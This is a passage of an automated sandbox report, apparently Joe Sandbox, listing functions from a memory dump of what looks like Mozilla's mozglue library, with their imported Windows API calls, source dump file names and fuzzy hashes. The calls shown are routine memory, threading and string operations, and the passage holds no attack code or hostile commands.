malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,?,6C51B58D,?,?,?,?,?,?,?,6C54D734,?,?,?,6C54D734), ref: 6C528E6E
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C51B58D,?,?,?,?,?,?,?,6C54D734,?,?,?,6C54D734), ref: 6C528EBF
free.MOZGLUE(?,?,?,?,6C51B58D,?,?,?,?,?,?,?,6C54D734,?,?,?), ref: 6C528F24
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C51B58D,?,?,?,?,?,?,?,6C54D734,?,?,?,6C54D734), ref: 6C528F46
free.MOZGLUE(?,?,?,?,6C51B58D,?,?,?,?,?,?,?,6C54D734,?,?,?), ref: 6C528F7A
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C51B58D,?,?,?,?,?,?,?,6C54D734,?,?,?), ref: 6C528F8F

Memory Dump Source

Source File: 00000000.00000002.2629729040.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2629672534.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629836324.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629880509.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629916929.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: ae4689400f638478001d750831dcfa78db33ddcab68d55cf51ed245413c9b6e1
Instruction ID: 689a4831a66a16739716efcfa1301aee204cfb39536d50dacfa37d597805b0be
Opcode Fuzzy Hash: ae4689400f638478001d750831dcfa78db33ddcab68d55cf51ed245413c9b6e1
Instruction Fuzzy Hash: 0E5182B2A012168FEB24CF94DC8076E77F2BF49318F19056AD516AB780E735F905CB92

Function 6C5227E0 Relevance: 7.6, APIs: 6, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6C522620,?,?,?,6C5160AA,6C515FCB,6C5179A3), ref: 6C52284D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C522620,?,?,?,6C5160AA,6C515FCB,6C5179A3), ref: 6C52289A
free.MOZGLUE(?,?,?,6C522620,?,?,?,6C5160AA,6C515FCB,6C5179A3), ref: 6C5228F1
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C522620,?,?,?,6C5160AA,6C515FCB,6C5179A3), ref: 6C522910
free.MOZGLUE(00000001,?,?,6C522620,?,?,?,6C5160AA,6C515FCB,6C5179A3), ref: 6C52293C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00200000,?,?,6C522620,?,?,?,6C5160AA,6C515FCB,6C5179A3), ref: 6C52294E

Memory Dump Source

Source File: 00000000.00000002.2629729040.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2629672534.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629836324.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629880509.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629916929.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 854ae2860b35099ca0660c5113bdb02f875f9db9dee288bffbc5e8cc7a818ed1
Instruction ID: ff546cb7c17d99d39c1e779d3c30acaf1836bba3a5a8869d0ec7b1e7d1ee94d5
Opcode Fuzzy Hash: 854ae2860b35099ca0660c5113bdb02f875f9db9dee288bffbc5e8cc7a818ed1
Instruction Fuzzy Hash: F64110B9A103068FEB10CF68DC8476A73F6EB45328F244938D516EBB80E735E944CB91

Function 6C4DCFE0 Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 134memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C55E784), ref: 6C4DCFF6
LeaveCriticalSection.KERNEL32(6C55E784), ref: 6C4DD026
VirtualAlloc.KERNEL32(00000000,00100000,00001000,00000004), ref: 6C4DD06C
VirtualFree.KERNEL32(00000000,00100000,00004000), ref: 6C4DD139

Strings

MOZ_CRASH(), xrefs: 6C4DD187

Memory Dump Source

Source File: 00000000.00000002.2629729040.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2629672534.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629836324.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629880509.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629916929.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CriticalSectionVirtual$AllocEnterFreeLeave
String ID: MOZ_CRASH()
API String ID: 1090480015-2608361144
Opcode ID: a8530aee0ecf05ab37803339d358a7b0c174935a6dd3c74c6a865975fe689a33
Instruction ID: 167fc80a2b7b8d8a0cf475c139beeca8e33e8583a2c0ead3419f0f7a7ec106c7
Opcode Fuzzy Hash: a8530aee0ecf05ab37803339d358a7b0c174935a6dd3c74c6a865975fe689a33
Instruction Fuzzy Hash: BB41E331B113164FCF05DE7C8CA5B6A76B0EB4A714F560239E918E7784D7B5AC018BE8

Function 6C4D4DE0 Relevance: 7.6, APIs: 5, Instructions: 133stringCOMMON

Download Yara Rule

APIs

?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C4D4E5A
?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C4D4E97
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C4D4EE9
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C4D4F02
?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?), ref: 6C4D4F1E

Memory Dump Source

Source File: 00000000.00000002.2629729040.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2629672534.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629836324.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629880509.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629916929.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@CreateRepresentation@$Ascii@DecimalDtoaExponentialMode@12@memcpystrlen
String ID:
API String ID: 713647276-0
Opcode ID: 79be8b84f523bb00a539d6a22d893c0a94f5286d4889ef339491120aab50b3f7
Instruction ID: 6ca62c44d9a54dcdcd9a6c2cf76d8dc2991148e088ad49d06825426de5a3f70d
Opcode Fuzzy Hash: 79be8b84f523bb00a539d6a22d893c0a94f5286d4889ef339491120aab50b3f7
Instruction Fuzzy Hash: 8541BC71604702AFC701DF68C890E5BBBE4BF89394F119A2DE46587750DB30F918CB82

Function 6C53A820 Relevance: 7.6, APIs: 5, Instructions: 106stringCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C55F770), ref: 6C53A858
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C53A87B

Part of subcall function 6C53A9D0: memcpy.VCRUNTIME140(?,?,00000400,?,?,?,6C53A88F,00000000), ref: 6C53A9F1

_ltoa_s.API-MS-WIN-CRT-CONVERT-L1-1-0(?,?,00000020,0000000A), ref: 6C53A8FF
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C53A90C
LeaveCriticalSection.KERNEL32(6C55F770), ref: 6C53A97E

Memory Dump Source

Source File: 00000000.00000002.2629729040.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2629672534.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629836324.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629880509.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629916929.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CriticalSectionstrlen$EnterLeave_ltoa_smemcpy
String ID:
API String ID: 1355178011-0
Opcode ID: 5410e8ea19c21fe75626835c6ac26e7e70a25c52e0757e8733cebe9a15b921bc
Instruction ID: 8abbc935114a70cfc165bcec5007195708f26f3ce4641b447700818eeff804a5
Opcode Fuzzy Hash: 5410e8ea19c21fe75626835c6ac26e7e70a25c52e0757e8733cebe9a15b921bc
Instruction Fuzzy Hash: 93419FB5A00248CFDF00DFE4CC45A9EBBB1FF44324F148629E81AAB791E731A945CB91

Function 6C4E1530 Relevance: 7.6, APIs: 5, Instructions: 98COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(-00000002,?,6C4E152B,?,?,?,?,6C4E1248,?), ref: 6C4E159C
memcpy.VCRUNTIME140(00000023,?,?,?,?,6C4E152B,?,?,?,?,6C4E1248,?), ref: 6C4E15BC
moz_xmalloc.MOZGLUE(-00000001,?,6C4E152B,?,?,?,?,6C4E1248,?), ref: 6C4E15E7
free.MOZGLUE(?,?,?,?,?,?,6C4E152B,?,?,?,?,6C4E1248,?), ref: 6C4E1606
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,6C4E152B,?,?,?,?,6C4E1248,?), ref: 6C4E1637

Memory Dump Source

Source File: 00000000.00000002.2629729040.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2629672534.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629836324.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629880509.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629916929.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: moz_xmalloc$_invalid_parameter_noinfo_noreturnfreememcpy
String ID:
API String ID: 733145618-0
Opcode ID: 89178945ccdb95cce6f92f6ac981c79c4081e0fa3befeaf35fa0f78a8ccb0c0f
Instruction ID: 147563ab42d7d810016601a66d8af2efe10790fe18d82ee7b111d20eaff458b0
Opcode Fuzzy Hash: 89178945ccdb95cce6f92f6ac981c79c4081e0fa3befeaf35fa0f78a8ccb0c0f
Instruction Fuzzy Hash: 2631D8B1A401148BC714CF78D850C6E77A5BF893757260B2DE827DBBD5EB30D9058791

Function 6C53AD70 Relevance: 7.6, APIs: 5, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000000,?,00000000,?,?,6C54E330,?,6C4FC059), ref: 6C53AD9D

Part of subcall function 6C4ECA10: malloc.MOZGLUE(?), ref: 6C4ECA26

memset.VCRUNTIME140(00000000,00000000,00000000,00000000,?,?,6C54E330,?,6C4FC059), ref: 6C53ADAC
free.MOZGLUE(?,?,?,?,00000000,?,?,6C54E330,?,6C4FC059), ref: 6C53AE01
GetLastError.KERNEL32(?,00000000,?,?,6C54E330,?,6C4FC059), ref: 6C53AE1D
GetLastError.KERNEL32(?,00000000,00000000,00000000,?,?,?,00000000,?,?,6C54E330,?,6C4FC059), ref: 6C53AE3D

Memory Dump Source

Source File: 00000000.00000002.2629729040.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2629672534.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629836324.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629880509.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629916929.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: ErrorLast$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 3161513745-0
Opcode ID: b8fc79826dd599147d36e533bb7ec83ffc30963bf8c984e8444590e27ab6b040
Instruction ID: 1490efe5bec77162608f5c918cde4a67f56791fff20e090490494ed7465df80b
Opcode Fuzzy Hash: b8fc79826dd599147d36e533bb7ec83ffc30963bf8c984e8444590e27ab6b040
Instruction Fuzzy Hash: 473124B1A002159FDB14DF758C44AABBBF8EF89614F55882DE85AD7740F734E804CBA4

Function 6C535EF0 Relevance: 7.6, APIs: 5, Instructions: 89COMMON

Download Yara Rule

APIs

?_Ipfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QAE_N_N@Z.MSVCP140(00000001,00000000,6C54DCA0,?,?,?,6C50E8B5,00000000), ref: 6C535F1F
?sgetc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C50E8B5,00000000), ref: 6C535F4B
?snextc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(00000000,?,6C50E8B5,00000000), ref: 6C535F7B
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(6E65475B,00000000,?,6C50E8B5,00000000), ref: 6C535F9F
?sbumpc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C50E8B5,00000000), ref: 6C535FD6

Memory Dump Source

Source File: 00000000.00000002.2629729040.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2629672534.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629836324.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629880509.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629916929.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@?sbumpc@?$basic_streambuf@?sgetc@?$basic_streambuf@?snextc@?$basic_streambuf@Ipfx@?$basic_istream@
String ID:
API String ID: 1389714915-0
Opcode ID: 85d2d30e23950c8811fd6df85be146e47501947b56bfda0660b11a581d07ddd4
Instruction ID: 7261b9bff629a9c8534f5cc04bd19db76d78ac71bd9b67131b90046aadc4df71
Opcode Fuzzy Hash: 85d2d30e23950c8811fd6df85be146e47501947b56bfda0660b11a581d07ddd4
Instruction Fuzzy Hash: 68312C743006108FD710DF29CC98E2AB7F5FF89319BA55958E55A8BB95D731EC41CB80

Function 6C4DB4C0 Relevance: 7.6, APIs: 5, Instructions: 84COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 6C4DB532
moz_xmalloc.MOZGLUE(?), ref: 6C4DB55B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C4DB56B
wcsncpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?), ref: 6C4DB57E
free.MOZGLUE(00000000), ref: 6C4DB58F

Memory Dump Source

Source File: 00000000.00000002.2629729040.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2629672534.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629836324.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629880509.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629916929.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: HandleModulefreememsetmoz_xmallocwcsncpy_s
String ID:
API String ID: 4244350000-0
Opcode ID: adfc314428b18446954bb1dd00085fa279bfb14aebb25f619c14077f513cbfe0
Instruction ID: 9369abe9ecd888a5930ec6c38a3ce61d1f7f6ee54443c3cb7dce2a429d8150c1
Opcode Fuzzy Hash: adfc314428b18446954bb1dd00085fa279bfb14aebb25f619c14077f513cbfe0
Instruction Fuzzy Hash: 8B21F671A002059BDB00DF69CC60FAABBB9FF86318F694129E818DB351E775E911C7A0

Function 6C4DB7A0 Relevance: 7.6, APIs: 5, Instructions: 77COMMON

Download Yara Rule

APIs

?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6C4DB7CF
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6C4DB808
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6C4DB82C
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C4DB840
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C4DB849

Memory Dump Source

Source File: 00000000.00000002.2629729040.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2629672534.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629836324.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629880509.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629916929.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: free$?vprint@PrintfTarget@mozilla@@mallocmemcpy
String ID:
API String ID: 1977084945-0
Opcode ID: 1ceef31660933779142842c52b8052ad6a353c57018cd9783fb629aac3a9da05
Instruction ID: 26be5c8073228ef7914faf322d923ae4efae2f1e97021fc997c77c83228a3300
Opcode Fuzzy Hash: 1ceef31660933779142842c52b8052ad6a353c57018cd9783fb629aac3a9da05
Instruction Fuzzy Hash: 892130B0E002099FDF04DFA9C8959FEBBB4EF49314F158129EC05A7741E731A944CBA5

Function 6C536E50 Relevance: 7.6, APIs: 5, Instructions: 72COMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6C536E78

Part of subcall function 6C536A10: InitializeCriticalSection.KERNEL32(6C55F618), ref: 6C536A68
Part of subcall function 6C536A10: GetCurrentProcess.KERNEL32 ref: 6C536A7D
Part of subcall function 6C536A10: GetCurrentProcess.KERNEL32 ref: 6C536AA1
Part of subcall function 6C536A10: EnterCriticalSection.KERNEL32(6C55F618), ref: 6C536AAE
Part of subcall function 6C536A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C536AE1
Part of subcall function 6C536A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C536B15
Part of subcall function 6C536A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100,?,?), ref: 6C536B65
Part of subcall function 6C536A10: LeaveCriticalSection.KERNEL32(6C55F618,?,?), ref: 6C536B83

MozFormatCodeAddress.MOZGLUE ref: 6C536EC1
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C536EE1
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C536EED
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000400), ref: 6C536EFF

Memory Dump Source

Source File: 00000000.00000002.2629729040.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2629672534.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629836324.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629880509.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629916929.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CriticalSectionstrncpy$AddressCodeCurrentProcess$DescribeEnterFormatInitializeLeave_fileno_writefflush
String ID:
API String ID: 4058739482-0
Opcode ID: 4529044e0040e3b721adbae0f106f72961507b7c483dfc7e3e22475d3cd1c02e
Instruction ID: 06ba941a4968cbf5ad06a6d2f821e439555bcfb823db5b79d2c1c075e74d714a
Opcode Fuzzy Hash: 4529044e0040e3b721adbae0f106f72961507b7c483dfc7e3e22475d3cd1c02e
Instruction Fuzzy Hash: DA219071A0431A9FDB00DF69DC8569A77F5FF84308F44403DE80D97241EB759A588F92

Function 6C510D60 Relevance: 7.5, APIs: 3, Strings: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,00003000,00003000,?,6C4D3DEF), ref: 6C510D71
VirtualAlloc.KERNEL32(?,08000000,00003000,00000004,?,6C4D3DEF), ref: 6C510D84
VirtualFree.KERNEL32(00000000,00000000,00008000,?,6C4D3DEF), ref: 6C510DAF

Strings

<jemalloc>, xrefs: 6C510D92, 6C510DB9
: (malloc) Error in VirtualFree(), xrefs: 6C510D97, 6C510DBE

Memory Dump Source

Source File: 00000000.00000002.2629729040.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2629672534.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629836324.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629880509.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629916929.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Virtual$Free$Alloc
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 1852963964-2186867486
Opcode ID: ba0803c4d3940ed8c7ee10569d3cc76f829c54f2aea849b7eb073d2e365f8b2d
Instruction ID: 967d770c1b66a1f68ade8b4919b9e8c167296d65be118afdd568406cbdd4c79f
Opcode Fuzzy Hash: ba0803c4d3940ed8c7ee10569d3cc76f829c54f2aea849b7eb073d2e365f8b2d
Instruction Fuzzy Hash: ACF0E97139829423FA2025660C0EB9B26AD6BC2B24F754137F204DADC0DB60E83086A8

Function 6C535850 Relevance: 7.5, APIs: 5, Instructions: 41synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(000000FF), ref: 6C53586C
CloseHandle.KERNEL32 ref: 6C535878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C535898
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6C5358C9
free.MOZGLUE(00000000), ref: 6C5358D3

Memory Dump Source

Source File: 00000000.00000002.2629729040.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2629672534.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629836324.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629880509.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629916929.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: free$CloseHandleObjectSingleWait
String ID:
API String ID: 1910681409-0
Opcode ID: 47dde26c12a91aed2ef44e6116d60716c11412156b225f495b952183842fe124
Instruction ID: 8e31c0e56f009f81385ea02978747a1b8922f89518279439536191aed31bea0e
Opcode Fuzzy Hash: 47dde26c12a91aed2ef44e6116d60716c11412156b225f495b952183842fe124
Instruction Fuzzy Hash: 2D0186B1704111ABDF01EF16DC08A06BBB8FB833297F64375E51AD2615E7319815CF89

Function 6C527620 Relevance: 7.5, APIs: 5, Instructions: 35threadCOMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0000002C,?,?,?,?,6C5275C4,?), ref: 6C52762B

Part of subcall function 6C4ECA10: malloc.MOZGLUE(?), ref: 6C4ECA26

InitializeConditionVariable.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,6C5274D7,6C5315FC,?,?,?), ref: 6C527644
GetCurrentThreadId.KERNEL32 ref: 6C52765A
AcquireSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C5274D7,6C5315FC,?,?,?), ref: 6C527663
ReleaseSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C5274D7,6C5315FC,?,?,?), ref: 6C527677

Memory Dump Source

Source File: 00000000.00000002.2629729040.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2629672534.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629836324.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629880509.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629916929.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireConditionCurrentInitializeReleaseThreadVariablemallocmoz_xmalloc
String ID:
API String ID: 418114769-0
Opcode ID: ba7c4c4dd7f02c25d064a0f40b1fa58540bd9dccf42e025a16f013fe1fc0b281
Instruction ID: d86e0d70d37e2cffeec56bd98d9fa06aad92fc47da6b2c187e8f5ebed0ba0f8c
Opcode Fuzzy Hash: ba7c4c4dd7f02c25d064a0f40b1fa58540bd9dccf42e025a16f013fe1fc0b281
Instruction Fuzzy Hash: 45F0AF71E10745ABD7009F21CC88A76B778FFEA259F12431AF90452601E7B1A5D08BD1

Function 6C531700 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 190COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6C531800

Part of subcall function 6C50CBE8: GetCurrentProcess.KERNEL32(?,6C4D31A7), ref: 6C50CBF1
Part of subcall function 6C50CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C4D31A7), ref: 6C50CBFA

Part of subcall function 6C4D4290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C513EBD,6C513EBD,00000000), ref: 6C4D42A9

Strings

Details, xrefs: 6C531925
{marker.name} - {marker.data.name}, xrefs: 6C5318C7
name, xrefs: 6C531939

Memory Dump Source

Source File: 00000000.00000002.2629729040.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2629672534.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629836324.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629880509.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629916929.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Process$CurrentInit_thread_footerTerminatestrlen
String ID: Details$name${marker.name} - {marker.data.name}
API String ID: 46770647-1733325692
Opcode ID: d57c3af5f07e2b3a27f94454f8a6d129c11253a012654c4204888107db695f51
Instruction ID: d03056db5601b46657d28f8f5b0002a7add9cf08b7a04d0851dc1d2c714d9bb2
Opcode Fuzzy Hash: d57c3af5f07e2b3a27f94454f8a6d129c11253a012654c4204888107db695f51
Instruction Fuzzy Hash: 5E71F371A00306DFC704DF28D854B9ABBB1FF85314F45466DD8194BB41E770AAA8CBE1

Function 6C4FD468 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 146COMMON

Download Yara Rule

APIs

Part of subcall function 6C50CBE8: GetCurrentProcess.KERNEL32(?,6C4D31A7), ref: 6C50CBF1
Part of subcall function 6C50CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C4D31A7), ref: 6C50CBFA

EnterCriticalSection.KERNEL32(6C55E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C50D1C5), ref: 6C4FD4F2
